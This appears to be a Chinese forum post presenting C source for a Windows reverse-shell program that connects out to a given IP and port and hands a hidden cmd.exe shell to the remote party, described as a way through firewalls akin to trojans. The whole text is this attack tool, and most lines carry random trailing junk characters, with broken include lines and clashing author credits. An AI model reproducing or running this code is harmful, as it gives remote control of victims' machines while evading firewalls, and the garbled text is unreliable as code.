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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ! ;R}=  
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/* ============================== aK8X,1g%)  
Rebound port in Windows NT I}\`l+  
By wind,2006/7 cLIeo{H  
===============================*/ _ Uv3g lK  
#include l(~NpT{=V  
#include KXcE@q9  
!{XVaQ?x  
#pragma comment(lib,"wsock32.lib") Wbi12{C  
Pa/2])w  
void OutputShell(); Zrq\:KxX  
SOCKET sClient; nDXy$f8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Suk;##I  
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void main(int argc,char **argv) a'7RzN ,]  
{ dEfP272M  
WSADATA stWsaData; [UB]vPXm$  
int nRet; h[gKyxZ/t  
SOCKADDR_IN stSaiClient,stSaiServer; &usum~@  
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if(argc != 3) 3MoVIf1  
{ yXro6u?rC  
printf("Useage:\n\rRebound DestIP DestPort\n"); r?WOum  
return; UL3u2g;d  
} e_llW(*l8^  
#G("Oh  
WSAStartup(MAKEWORD(2,2),&stWsaData); $3(E0\#O  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "SV/'0  
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stSaiClient.sin_family = AF_INET; 3_Mynop  
stSaiClient.sin_port = htons(0); La si)e=$<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J_&G\b.9/  
?DC;Hk<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I_ na^s h*  
{ }M${ _D  
printf("Bind Socket Failed!\n"); NJ(H$tB@  
return; YF13&E2`\  
} <X]dR 6FT  
gm}zF%B"  
stSaiServer.sin_family = AF_INET; 6"V86b0)h}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z_87 ;y;=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Uy$?B"Z  
0lpUn74F  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s5oU  
{ yu=(m~KX   
printf("Connect Error!"); f6%7:B d  
return; D=~3N  
} {Pe+d3Eoo  
OutputShell(); bYy7Ul6]  
} Bmi9U   
b IZi3GmRF  
void OutputShell() ;})s o  
{ &MGM9 zm-]  
char szBuff[1024]; k#<Y2FJa  
SECURITY_ATTRIBUTES stSecurityAttributes; CK1gzIg>  
OSVERSIONINFO stOsversionInfo; /Xw wB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jn>RE   
STARTUPINFO stStartupInfo; 0zXF{5Up  
char *szShell; ljjnqQ%  
PROCESS_INFORMATION stProcessInformation; t<znz6  
unsigned long lBytesRead; }E\u2]  
u]Dds;~"b  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B@,#,-=  
;h7O_|<%  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E^t}p[s  
stSecurityAttributes.lpSecurityDescriptor = 0; 2$?j'i!  
stSecurityAttributes.bInheritHandle = TRUE; G4)X~.Fy  
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O+o_{t\R  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~Q5 i0s%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \>  
/@]@Tz@'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P6;Cohfh  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p}h9>R  
stStartupInfo.wShowWindow = SW_HIDE; {_]<mwd  
stStartupInfo.hStdInput = hReadPipe; YMn_9s7<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;r3|EA35  
m/NXifi8l  
GetVersionEx(&stOsversionInfo); {iVmae  
PA>su)N$  
switch(stOsversionInfo.dwPlatformId) 1'9YY")#  
{ 4z!(!J )  
case 1: cy#N(S[ 1  
szShell = "command.com"; ]o*-|[^?  
break; D,, x<JG|  
default: -P=Hp/ELi  
szShell = "cmd.exe"; 9E]7Etfw  
break; NU!B|l  
} O:W4W=K  
d# q8-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &BQ%df<y\  
LArfX,x3i  
send(sClient,szMsg,77,0); Vc| uQ8Mi  
while(1) [^A>hs*  
{ p`3$NCJN  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *\F,?yU  
if(lBytesRead) l*n4d[0J  
{ *]* D^'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +AL(K:  
send(sClient,szBuff,lBytesRead,0); +U,>D +  
} 2f.4P]s`T  
else o'p[G]NQ1o  
{ p`{| [<  
lBytesRead=recv(sClient,szBuff,1024,0); ^0T[V-PgiD  
if(lBytesRead<=0) break; \UBQ:+3  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '@eH)wh@m)  
} Y(P <9 m:  
} T'e p&tNY  
KVCj06}j  
return; gD/% l[  
}
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